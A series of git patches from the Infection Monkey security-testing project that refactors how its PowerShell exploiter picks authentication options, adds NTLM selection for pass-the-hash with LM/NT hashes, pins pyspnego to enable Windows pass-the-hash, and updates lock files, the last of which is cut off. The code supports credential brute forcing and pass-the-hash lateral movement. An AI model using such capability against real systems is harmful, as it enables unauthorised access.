get_auth_options() The test suite was overly complicated for get_auth_options(), which indicated that, perhaps, the function itself was overly complicated. Previously, it accepted a list of Credentials and returned a list of AuthOptions. Now, it accepts a single Credentials object and returns a single AuthOptions object. This simpler interface allowed the test suite to be easier to read, while adding negligible complexity to PowerShellExploiter._exploit_host() --- monkey/infection_monkey/exploit/powershell.py | 4 +- .../exploit/powershell_utils/auth_options.py | 18 ++---- .../powershell_utils/test_auth_options.py | 56 +++++++++---------- 3 files changed, 35 insertions(+), 43 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 7b4aaec66..f2883bb63 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -47,7 +47,7 @@ class PowerShellExploiter(HostExploiter): def _exploit_host(self): try: - is_https = self._is_client_using_https() + use_ssl = self._is_client_using_https() except PowerShellRemotingDisabledError as e: logging.info(e) return False @@ -59,7 +59,7 @@ class PowerShellExploiter(HostExploiter): self._config.exploit_ntlm_hash_list, is_windows_os(), ) - auth_options = get_auth_options(credentials, is_https) + auth_options = [get_auth_options(creds, use_ssl) for creds in credentials] self._client = self._authenticate_via_brute_force(credentials, auth_options) if not self._client: diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index ad770de3c..973c7ec76 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -1,5 +1,4 @@ from dataclasses import dataclass -from typing import List from infection_monkey.exploit.powershell_utils.credentials import Credentials @@ -16,15 +15,10 @@ class AuthOptions: ssl: bool -def get_auth_options(credentials: List[Credentials], use_ssl: bool) -> List[AuthOptions]: - auth_options = [] +def get_auth_options(credentials: Credentials, use_ssl: bool) -> AuthOptions: + # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER + ssl = False if credentials.secret == "" else use_ssl + auth_type = AUTH_BASIC if credentials.secret == "" else AUTH_NEGOTIATE + encryption = ENCRYPTION_NEVER if credentials.secret == "" else ENCRYPTION_AUTO - for creds in credentials: - # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER - ssl = False if creds.secret == "" else use_ssl - auth_type = AUTH_BASIC if creds.secret == "" else AUTH_NEGOTIATE - encryption = ENCRYPTION_NEVER if creds.secret == "" else ENCRYPTION_AUTO - - auth_options.append(AuthOptions(auth_type, encryption, ssl)) - - return auth_options + return AuthOptions(auth_type, encryption, ssl) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py index d19fffbd0..0aa770ea6 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py @@ -8,80 +8,78 @@ from infection_monkey.exploit.powershell_utils.auth_options import ( ) from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType -CREDENTIALS = [ - Credentials("user1", "password1", SecretType.PASSWORD), - Credentials("user2", "", SecretType.PASSWORD), - Credentials("user3", None, SecretType.CACHED), -] +CREDENTIALS_WITH_PASSWORD = Credentials("user1", "password1", SecretType.PASSWORD) +CREDENTIALS_EMPTY_PASSWORD = Credentials("user2", "", SecretType.PASSWORD) +CREDENTIALS_NONE_PASSWORD = Credentials("user3", None, SecretType.CACHED) def test_get_auth_options__ssl_true_with_password(): - auth_options = get_auth_options(CREDENTIALS, use_ssl=True) + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, use_ssl=True) - assert auth_options[0].ssl + assert auth_options.ssl def test_get_auth_options__ssl_true_empty_password(): - auth_options = get_auth_options(CREDENTIALS, use_ssl=True) + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=True) - assert not auth_options[1].ssl + assert not auth_options.ssl def test_get_auth_options__ssl_true_none_password(): - auth_options = get_auth_options(CREDENTIALS, use_ssl=True) + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=True) - assert auth_options[2].ssl + assert auth_options.ssl def test_get_auth_options__ssl_false_with_password(): - auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, use_ssl=False) - assert not auth_options[0].ssl + assert not auth_options.ssl def test_get_auth_options__ssl_false_empty_password(): - auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=False) - assert not auth_options[1].ssl + assert not auth_options.ssl def test_get_auth_options__ssl_false_none_password(): - auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=False) - assert not auth_options[2].ssl + assert not auth_options.ssl def test_get_auth_options__auth_type_with_password(): - auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, use_ssl=False) - assert auth_options[0].auth_type == AUTH_NEGOTIATE + assert auth_options.auth_type == AUTH_NEGOTIATE def test_get_auth_options__auth_type_empty_password(): - auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=False) - assert auth_options[1].auth_type == AUTH_BASIC + assert auth_options.auth_type == AUTH_BASIC def test_get_auth_options__auth_type_none_password(): - auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=False) - assert auth_options[2].auth_type == AUTH_NEGOTIATE + assert auth_options.auth_type == AUTH_NEGOTIATE def test_get_auth_options__encryption_with_password(): - auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, use_ssl=False) - assert auth_options[0].encryption == ENCRYPTION_AUTO + assert auth_options.encryption == ENCRYPTION_AUTO def test_get_auth_options__encryption_empty_password(): - auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + auth_options = get_auth_options(CREDENTIALS_EMPTY_PASSWORD, use_ssl=False) - assert auth_options[1].encryption == ENCRYPTION_NEVER + assert auth_options.encryption == ENCRYPTION_NEVER def test_get_auth_options__encryption_none_password(): - auth_options = get_auth_options(CREDENTIALS, use_ssl=False) + auth_options = get_auth_options(CREDENTIALS_NONE_PASSWORD, use_ssl=False) - assert auth_options[2].encryption == ENCRYPTION_AUTO + assert auth_options.encryption == ENCRYPTION_AUTO From 79aacf3dcbc5cf36acde1214e651311e2e72d4af Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Sep 2021 11:35:29 -0400 Subject: [PATCH 177/454] Agent: Extract _get_*() functions from get_auth_options() --- .../exploit/powershell_utils/auth_options.py | 20 +++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index 973c7ec76..925a34169 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -16,9 +16,21 @@ class AuthOptions: def get_auth_options(credentials: Credentials, use_ssl: bool) -> AuthOptions: - # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER - ssl = False if credentials.secret == "" else use_ssl - auth_type = AUTH_BASIC if credentials.secret == "" else AUTH_NEGOTIATE - encryption = ENCRYPTION_NEVER if credentials.secret == "" else ENCRYPTION_AUTO + ssl = _get_ssl(credentials, use_ssl) + auth_type = _get_auth_type(credentials) + encryption = _get_encryption(credentials) return AuthOptions(auth_type, encryption, ssl) + + +def _get_ssl(credentials: Credentials, use_ssl): + # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER + return False if credentials.secret == "" else use_ssl + + +def _get_auth_type(credentials: Credentials): + return AUTH_BASIC if credentials.secret == "" else AUTH_NEGOTIATE + + +def _get_encryption(credentials: Credentials): + return ENCRYPTION_NEVER if credentials.secret == "" else ENCRYPTION_AUTO From 844d244d672943da3db1595cc1b90dddbcc2ae24 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Sep 2021 11:43:06 -0400 Subject: [PATCH 178/454] Agent: Use NTLM specifically for PowerShell if using pass-the-hash --- .../exploit/powershell_utils/auth_options.py | 11 +++++++++-- .../exploit/powershell_utils/test_auth_options.py | 15 +++++++++++++++ 2 files changed, 24 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index 925a34169..1f53c1df5 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -1,9 +1,10 @@ from dataclasses import dataclass -from infection_monkey.exploit.powershell_utils.credentials import Credentials +from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType AUTH_BASIC = "basic" AUTH_NEGOTIATE = "negotiate" +AUTH_NTLM = "ntlm" ENCRYPTION_AUTO = "auto" ENCRYPTION_NEVER = "never" @@ -29,7 +30,13 @@ def _get_ssl(credentials: Credentials, use_ssl): def _get_auth_type(credentials: Credentials): - return AUTH_BASIC if credentials.secret == "" else AUTH_NEGOTIATE + if credentials.secret == "": + return AUTH_BASIC + + if credentials.secret_type in {SecretType.LM_HASH, SecretType.NT_HASH}: + return AUTH_NTLM + + return AUTH_NEGOTIATE def _get_encryption(credentials: Credentials): diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py index 0aa770ea6..ce5449051 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_auth_options.py @@ -2,6 +2,7 @@ from infection_monkey.exploit.powershell_utils.auth_options import ( AUTH_BASIC, AUTH_NEGOTIATE, + AUTH_NTLM, ENCRYPTION_AUTO, ENCRYPTION_NEVER, get_auth_options, @@ -11,6 +12,8 @@ from infection_monkey.exploit.powershell_utils.credentials import Credentials, S CREDENTIALS_WITH_PASSWORD = Credentials("user1", "password1", SecretType.PASSWORD) CREDENTIALS_EMPTY_PASSWORD = Credentials("user2", "", SecretType.PASSWORD) CREDENTIALS_NONE_PASSWORD = Credentials("user3", None, SecretType.CACHED) +CREDENTIALS_LM_HASH = Credentials("user4", "LM_HASH:NONE", SecretType.LM_HASH) +CREDENTIALS_NT_HASH = Credentials("user5", "NONE:NT_HASH", SecretType.NT_HASH) def test_get_auth_options__ssl_true_with_password(): @@ -67,6 +70,18 @@ def test_get_auth_options__auth_type_none_password(): assert auth_options.auth_type == AUTH_NEGOTIATE +def test_get_auth_options__auth_type_with_LM_hash(): + auth_options = get_auth_options(CREDENTIALS_LM_HASH, use_ssl=False) + + assert auth_options.auth_type == AUTH_NTLM + + +def test_get_auth_options__auth_type_with_NT_hash(): + auth_options = get_auth_options(CREDENTIALS_NT_HASH, use_ssl=False) + + assert auth_options.auth_type == AUTH_NTLM + + def test_get_auth_options__encryption_with_password(): auth_options = get_auth_options(CREDENTIALS_WITH_PASSWORD, use_ssl=False) From 8fc79c2fe3b775fadb6b34c3a3c17e051cce74e1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 20 Sep 2021 20:36:26 -0400 Subject: [PATCH 179/454] Agent: Use pyspnego with bugfix to enable PowerShell PTH on Windows Specify commit 3f748f21 of pyspnego, as this commit contains a bugfix that allows Infection Monkey to launch pass-the-hash attacks from a Windows attacker. --- monkey/infection_monkey/Pipfile | 6 ++ monkey/infection_monkey/Pipfile.lock | 124 +++++++++++++++++---------- 2 files changed, 83 insertions(+), 47 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 5c63ff709..da00a1fcb 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -31,6 +31,12 @@ ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl pypsrp = "*" typing-extensions = "*" +cython = "*" # Remove this after removing pyspnego +# Pinning pyspnego to this commit resolves #1456. A new pyspnego release that includes this commit +# is expected after 2021-10-01. Once a new version of pyspnego is released (v0.2.0?), both pyspnego +# and cython can be removed from this Pipfile (since pyspnego is a dependency of pypsrp and pypsrp +# has no hard version requirement. +pyspnego = {editable = true, ref = "3f748f210e4fb6b186b0036e1a0bf38762d64c37", git = "https://github.com/jborean93/pyspnego"} [dev-packages] diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 53ff20a64..51510f2e0 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "96a125018d143a7446fe9b2849991c00d79f37c433694db77e616c1135baeaf9" + "sha256": "e4052afd20556222b3cf8266aeca93f39568da6d1219b108b79070fa198ad908" }, "pipfile-spec": 6, "requires": { @@ -26,11 +26,11 @@ }, "altgraph": { "hashes": [ - "sha256:1f05a47122542f97028caf78775a095fbe6a2699b5089de8477eb583167d69aa", - "sha256:c623e5f3408ca61d4016f23a681b9adb100802ca3e3da5e718915a9e4052cebe" + "sha256:743628f2ac6a7c26f5d9223c91ed8ecbba535f506f4b6f558885a8a56a105857", + "sha256:ebf2269361b47d97b3b88e696439f6e4cbc607c17c51feb1754f90fb79839158" ], "index": "pypi", - "version": "==0.17" + "version": "==0.17.2" }, "asn1crypto": { "hashes": [ @@ -69,19 +69,19 @@ }, "boto3": { "hashes": [ - "sha256:461f659c06f9f56693cebbca70b11866f096021eafbd949a3c029c3a8adee6a4", - "sha256:596d2afda27ae3d9a10112a475aa25c4d6b5cf023919e370ad8e6c6ae04d57a6" + "sha256:3a270f002818703d5f2eef5296c2fd8b44ef21a3f3290a716ec2202da8dd464e", + "sha256:8bc3211a7d7767c2c72ae9b226edb5eec5bb96989c83696832b8a5c35feb356a" ], "markers": "python_version >= '3.6'", - "version": "==1.18.33" + "version": "==1.18.44" }, "botocore": { "hashes": [ - "sha256:204327b9a33e3ae5207ff9acdd7d3b6d1f99f5dc9165a4d843d6f1a566f3006c", - "sha256:b321b570a0da4c6280e737d817c8f740bce0ef914f564e1c27246c7ae76b4c31" + "sha256:2e134c9f799015e448086ed2b809fe50cc776f6600f093d1a44772288e61260f", + "sha256:c7640cb49c0e009bea4ad767715acbe0d305b7007235f52422bf31b5d23be8f1" ], "markers": "python_version >= '3.6'", - "version": "==1.21.33" + "version": "==1.21.44" }, "certifi": { "hashes": [ @@ -151,11 +151,11 @@ }, "charset-normalizer": { "hashes": [ - "sha256:0c8911edd15d19223366a194a513099a302055a962bca2cec0f54b8b63175d8b", - "sha256:f23667ebe1084be45f6ae0538e4a5a865206544097e4e8bbcacf42cd02a348f3" + "sha256:5d209c0a931f215cee683b6445e2d77677e7e75e159f78def0db09d68fafcaa6", + "sha256:5ec46d183433dcbd0ab716f2d7f29d8dee50505b3fdb40c6b985c7c4f5a3591f" ], "markers": "python_version >= '3'", - "version": "==2.0.4" + "version": "==2.0.6" }, "cheroot": { "hashes": [ @@ -229,6 +229,51 @@ "index": "pypi", "version": "==2.5" }, + "cython": { + "hashes": [ + "sha256:09ac3087ac7a3d489ebcb3fb8402e00c13d1a3a1c6bc73fd3b0d756a3e341e79", + "sha256:0a142c6b862e6ed6b02209d543062c038c110585b5e32d1ad7c9717af4f07e41", + "sha256:0d414458cb22f8a90d64260da6dace5d5fcebde43f31be52ca51f818c46db8cb", + "sha256:10cb3def9774fa99e4583617a5616874aed3255dc241fd1f4a3c2978c78e1c53", + "sha256:112efa54a58293a4fb0acf0dd8e5b3736e95b595eee24dd88615648e445abe41", + "sha256:166f9f29cd0058ce1a14a7b3a2458b849ed34b1ec5fd4108af3fdd2c24afcbb0", + "sha256:2d9e61ed1056a3b6a4b9156b62297ad18b357a7948e57a2f49b061217696567e", + "sha256:2f41ef7edd76dd23315925e003f0c58c8585f3ab24be6885c4b3f60e77c82746", + "sha256:37bcfa5df2a3009f49624695d917c3804fccbdfcdc5eda6378754a879711a4d5", + "sha256:416046a98255eff97ec02077d20ebeaae52682dfca1c35aadf31260442b92514", + "sha256:4cf4452f0e4d50e11701bca38f3857fe6fa16593e7fd6a4d5f7be66f611b7da2", + "sha256:55b0ee28c2c8118bfb3ad9b25cf7a6cbd724e442ea96956e32ccd908d5e3e043", + "sha256:5dd56d0be50073f0e54825a8bc3393852de0eed126339ecbca0ae149dba55cfc", + "sha256:5fa12ebafc2f688ea6d26ab6d1d2e634a9872509ba7135b902bb0d8b368fb04b", + "sha256:5fb977945a2111f6b64501fdf7ed0ec162cc502b84457fd648d6a558ea8de0d6", + "sha256:60c958bcab0ff315b4036a949bed1c65334e1f6a69e17e9966d742febb59043a", + "sha256:661dbdea519d9cfb288867252b75fef73ffa8e8bb674cec27acf70646afb369b", + "sha256:6a2cf2ccccc25413864928dfd730c29db6f63eaf98206c1e600003a445ca7f58", + "sha256:6ade74eece909fd3a437d9a5084829180751d7ade118e281e9824dd75eafaff2", + "sha256:73ac33a4379056a02031baa4def255717fadb9181b5ac2b244792d53eae1c925", + "sha256:76cbca0188d278e93d12ebdaf5990678e6e436485fdfad49dbe9b07717d41a3c", + "sha256:774cb8fd931ee1ba52c472bc1c19077cd6895c1b24014ae07bb27df59aed5ebe", + "sha256:821c2d416ad7d006b069657ee1034c0e0cb45bdbe9ab6ab631e8c495dfcfa4ac", + "sha256:84826ec1c11cda56261a252ddecac0c7d6b02e47e81b94f40b27b4c23c29c17c", + "sha256:854fe2193d3ad4c8b61932ff54d6dbe10c5fa8749eb8958d72cc0ab28243f833", + "sha256:88dc3c250dec280b0489a83950b15809762e27232f4799b1b8d0bad503f5ab84", + "sha256:8cb87777e82d1996aef6c146560a19270684271c9c669ba62ac6803b3cd2ff82", + "sha256:91339ee4b465924a3ea4b2a9cec7f7227bc4cadf673ce859d24c2b9ef60b1214", + "sha256:9164aeef1af6f837e4fc20402a31d256188ba4d535e262c6cb78caf57ad744f8", + "sha256:a102cfa795c6b3b81a29bdb9dbec545367cd7f353c03e6f30a056fdfefd92854", + "sha256:ad43e684ade673565f6f9d6638015112f6c7f11aa2a632167b79014f613f0f5f", + "sha256:afb521523cb46ddaa8d269b421f88ea2731fee05e65b952b96d4db760f5a2a1c", + "sha256:b28f92e617f540d3f21f8fd479a9c6491be920ffff672a4c61b7fc4d7f749f39", + "sha256:bc05de569f811be1fcfde6756c9048ae518f0c4b6d9f8f024752c5365d934cac", + "sha256:cdf04d07c3600860e8c2ebaad4e8f52ac3feb212453c1764a49ac08c827e8443", + "sha256:d8d1a087f35e39384303f5e6b75d465d6f29d746d7138eae9d3b6e8e6f769eae", + "sha256:eb2843f8cc01c645725e6fc690a84e99cdb266ce8ebe427cf3a680ff09f876aa", + "sha256:f2e9381497b12e8f622af620bde0d1d094035d79b899abb2ddd3a7891f535083", + "sha256:f96411f0120b5cae483923aaacd2872af8709be4b46522daedc32f051d778385" + ], + "index": "pypi", + "version": "==0.29.24" + }, "dnspython": { "hashes": [ "sha256:95d12f6ef0317118d2a1a6fc49aac65ffec7eb8087474158f42f26a639135216", @@ -268,11 +313,11 @@ }, "humanfriendly": { "hashes": [ - "sha256:332da98c24cc150efcc91b5508b19115209272bfdf4b0764a56795932f854271", - "sha256:f7dba53ac7935fd0b4a2fc9a29e316ddd9ea135fb3052d3d0279d10c18ff9c48" + "sha256:1697e1a8a8f550fd43c2865cd84542fc175a61dcb779b6fee18cf6b6ccba1477", + "sha256:6b0b831ce8f15f7300721aa49829fc4e83921a9a301cc7f606be6686a2288ddc" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==9.2" + "version": "==10.0" }, "idna": { "hashes": [ @@ -441,11 +486,11 @@ }, "minidump": { "hashes": [ - "sha256:67b3327cb96e319633653a353c6281703772335dc84797d6fdce7daf0b3be077", - "sha256:fdd9eb4566b6d3dabc205bf644ded724067bdbdb453eb418565261e5520b3537" + "sha256:5b9872a6417be626b7bc8db2f9feb6f9089e48ecfce372829a3418575fe22a1c", + "sha256:f545257f16437959d4c460dbb39b245ac019ba5f10a3bdd9b2efec4fad0d29e7" ], "markers": "python_version >= '3.6'", - "version": "==0.0.19" + "version": "==0.0.20" }, "minikerberos": { "hashes": [ @@ -457,11 +502,11 @@ }, "more-itertools": { "hashes": [ - "sha256:2cf89ec599962f2ddc4d568a05defc40e0a587fbc10d5989713638864c36be4d", - "sha256:83f0308e05477c68f56ea3a888172c78ed5d5b3c282addb67508e7ba6c8f813a" + "sha256:1debcabeb1df793814859d64a81ad7cb10504c24349368ccf214c664c474f41f", + "sha256:56ddac45541718ba332db05f464bebfb0768110111affd27f66e0051f276fa43" ], "markers": "python_version >= '3.5'", - "version": "==8.8.0" + "version": "==8.10.0" }, "msldap": { "hashes": [ @@ -538,10 +583,10 @@ }, "policyuniverse": { "hashes": [ - "sha256:1d5136329b4c4d33b114f8c781ebb2e306ff9dc6969d106ece2567e312b2dd15", - "sha256:a95adcecd8c5b6aafedbf0094217f9251589a5a350b3db54aa55b6cabc26a7ff" + "sha256:184f854fc716754ff07cd9f601923d1ce30a6826617e7c2b252abebe76746b6d", + "sha256:44145447d473c37ff2776667b5e1018a00c0a493c16a0a489399521b3786a8be" ], - "version": "==1.4.0.20210816" + "version": "==1.4.0.20210819" }, "portend": { "hashes": [ @@ -804,7 +849,7 @@ "sha256:65540c21bfe14405a3a77e4c085ecfce88724743a4ead47c66b84defcf82c32e", "sha256:9ce5fa65b8992dfa373bddc5b6e0864ead8f291c94fbfec05fbd5c836162e67b" ], - "markers": "sys_platform == 'win32'", + "markers": "python_version < '3.8' and sys_platform == 'win32'", "version": "==2.1" }, "pysmb": { @@ -815,24 +860,9 @@ "version": "==1.2.5" }, "pyspnego": { - "hashes": [ - "sha256:0356bccedc033b7266d89503eca50717f81fc9d3b98cb1dd5227bb7c1a9275ae", - "sha256:0940e0bdec72c6266ef9604db929ddda86f1dafe2c804ac3d6e30161a53e414d", - "sha256:44469f7cf2a9435d7115c557db4df6bd6a74ce0056511b88b672b58ff2d477f7", - "sha256:507809d2e1fc8733a4f0801ee59d01db646b41d3ab8b90a6f3a16a17eef3fc37", - "sha256:5701dd50597c0a11b4bd1d3921fd1c32ba3b7ec15c3e273c486870efe673dd52", - "sha256:5be3fa80bc81a11b9254e3800aa350db06b2eb1b9d830f7770a1baadae415185", - "sha256:777c9524e91298b2ec3d728dbb85e44d047ddd857db6c2658d977401fedfcc9c", - "sha256:83d52b9e8b55243fa3711d89e77d94935a60b8638e8659b572dee898d359bbe6", - "sha256:c05aa1efcb9b0cf3c6341c48a6b349c3b669b0d7d99ab65a789c0c1071701136", - "sha256:cc57132ebe7b6b5d14e940bf4069a1206ad0fe23f51281dee4e7979b34a369d3", - "sha256:d3e7d55447cc353765cef6d77b3c57fd02f77ddc83a4fb3b4b696df92f908ae1", - "sha256:e021472424fcb477d9a211437f6a14c2d9cb59e20eeee9ae7992bd7deee50064", - "sha256:ed4fece1a834cc29377f43f4ff459ae7eb7c7d937cfd3e4b46676fe9984c8c74", - "sha256:f90a41f7d31e049f3a2e566f02ce06d86f13bbd2e3796b3af3bdb2be75c6e836" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==0.1.6" + "editable": true, + "git": "https://github.com/jborean93/pyspnego", + "ref": "3f748f210e4fb6b186b0036e1a0bf38762d64c37" }, "python-dateutil": { "hashes": [ @@ -961,11 +991,11 @@ }, "tqdm": { "hashes": [ - "sha256:80aead664e6c1672c4ae20dc50e1cdc5e20eeff9b14aa23ecd426375b28be588", - "sha256:a4d6d112e507ef98513ac119ead1159d286deab17dffedd96921412c2d236ff5" + "sha256:8dd278a422499cd6b727e6ae4061c40b48fce8b76d1ccbf5d34fca9b7f925b0c", + "sha256:d359de7217506c9851b7869f3708d8ee53ed70a1b8edbba4dbcb47442592920d" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==4.62.2" + "version": "==4.62.3" }, "typing-extensions": { "hashes": [ From f61602552f9682fcada01b45648b997942c3df48 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 21 Sep 2021 10:19:21 +0300 Subject: [PATCH 180/454] Island: update dpath to the latest v2.0.5 and other packages version updates. dpath lib had to be updated to get a bugfix --- monkey/monkey_island/Pipfile | 2 +- monkey/monkey_island/Pipfile.lock | 321 +++++++++++++++--------------- 2 files changed, 164 insertions(+), 159 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index d6de9424f..65e11d03d 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -10,7 +10,7 @@ bcrypt = "==3.2.0" boto3 = "==1.14.54" botocore = "==1.17.54" cffi = ">=1.8,!=1.11.3" -dpath = ">=2.0" +dpath = ">=2.0.5" gevent = ">=20.9.0" ipaddress = ">=1.0.23" jsonschema = "==3.2.0" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 3a8ccde88..832bce29c 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "e7edc14aeb97a7a388e7f1f481feadc0619bac6603be632afaf09a4a886a804d" + "sha256": "65cd0e4a81a7cdcdbd72999baf948ec1cdafc7776e3c027ed347cdc02fa0556d" }, "pipfile-spec": 6, "requires": { @@ -18,10 +18,10 @@ "default": { "altgraph": { "hashes": [ - "sha256:1f05a47122542f97028caf78775a095fbe6a2699b5089de8477eb583167d69aa", - "sha256:c623e5f3408ca61d4016f23a681b9adb100802ca3e3da5e718915a9e4052cebe" + "sha256:743628f2ac6a7c26f5d9223c91ed8ecbba535f506f4b6f558885a8a56a105857", + "sha256:ebf2269361b47d97b3b88e696439f6e4cbc607c17c51feb1754f90fb79839158" ], - "version": "==0.17" + "version": "==0.17.2" }, "aniso8601": { "hashes": [ @@ -149,11 +149,11 @@ }, "charset-normalizer": { "hashes": [ - "sha256:0c8911edd15d19223366a194a513099a302055a962bca2cec0f54b8b63175d8b", - "sha256:f23667ebe1084be45f6ae0538e4a5a865206544097e4e8bbcacf42cd02a348f3" + "sha256:5d209c0a931f215cee683b6445e2d77677e7e75e159f78def0db09d68fafcaa6", + "sha256:5ec46d183433dcbd0ab716f2d7f29d8dee50505b3fdb40c6b985c7c4f5a3591f" ], "markers": "python_version >= '3'", - "version": "==2.0.4" + "version": "==2.0.6" }, "cheroot": { "hashes": [ @@ -204,23 +204,27 @@ }, "cryptography": { "hashes": [ - "sha256:0f1212a66329c80d68aeeb39b8a16d54ef57071bf22ff4e521657b27372e327d", - "sha256:1e056c28420c072c5e3cb36e2b23ee55e260cb04eee08f702e0edfec3fb51959", - "sha256:240f5c21aef0b73f40bb9f78d2caff73186700bf1bc6b94285699aff98cc16c6", - "sha256:26965837447f9c82f1855e0bc8bc4fb910240b6e0d16a664bb722df3b5b06873", - "sha256:37340614f8a5d2fb9aeea67fd159bfe4f5f4ed535b1090ce8ec428b2f15a11f2", - "sha256:3d10de8116d25649631977cb37da6cbdd2d6fa0e0281d014a5b7d337255ca713", - "sha256:3d8427734c781ea5f1b41d6589c293089704d4759e34597dce91014ac125aad1", - "sha256:7ec5d3b029f5fa2b179325908b9cd93db28ab7b85bb6c1db56b10e0b54235177", - "sha256:8e56e16617872b0957d1c9742a3f94b43533447fd78321514abbe7db216aa250", - "sha256:b01fd6f2737816cb1e08ed4807ae194404790eac7ad030b34f2ce72b332f5586", - "sha256:bf40af59ca2465b24e54f671b2de2c59257ddc4f7e5706dbd6930e26823668d3", - "sha256:de4e5f7f68220d92b7637fc99847475b59154b7a1b3868fb7385337af54ac9ca", - "sha256:eb8cc2afe8b05acbd84a43905832ec78e7b3873fb124ca190f574dca7389a87d", - "sha256:ee77aa129f481be46f8d92a1a7db57269a2f23052d5f2433b4621bb457081cc9" + "sha256:0a7dcbcd3f1913f664aca35d47c1331fce738d44ec34b7be8b9d332151b0b01e", + "sha256:1eb7bb0df6f6f583dd8e054689def236255161ebbcf62b226454ab9ec663746b", + "sha256:21ca464b3a4b8d8e86ba0ee5045e103a1fcfac3b39319727bc0fc58c09c6aff7", + "sha256:34dae04a0dce5730d8eb7894eab617d8a70d0c97da76b905de9efb7128ad7085", + "sha256:3520667fda779eb788ea00080124875be18f2d8f0848ec00733c0ec3bb8219fc", + "sha256:3fa3a7ccf96e826affdf1a0a9432be74dc73423125c8f96a909e3835a5ef194a", + "sha256:5b0fbfae7ff7febdb74b574055c7466da334a5371f253732d7e2e7525d570498", + "sha256:695104a9223a7239d155d7627ad912953b540929ef97ae0c34c7b8bf30857e89", + "sha256:8695456444f277af73a4877db9fc979849cd3ee74c198d04fc0776ebc3db52b9", + "sha256:94cc5ed4ceaefcbe5bf38c8fba6a21fc1d365bb8fb826ea1688e3370b2e24a1c", + "sha256:94fff993ee9bc1b2440d3b7243d488c6a3d9724cc2b09cdb297f6a886d040ef7", + "sha256:9965c46c674ba8cc572bc09a03f4c649292ee73e1b683adb1ce81e82e9a6a0fb", + 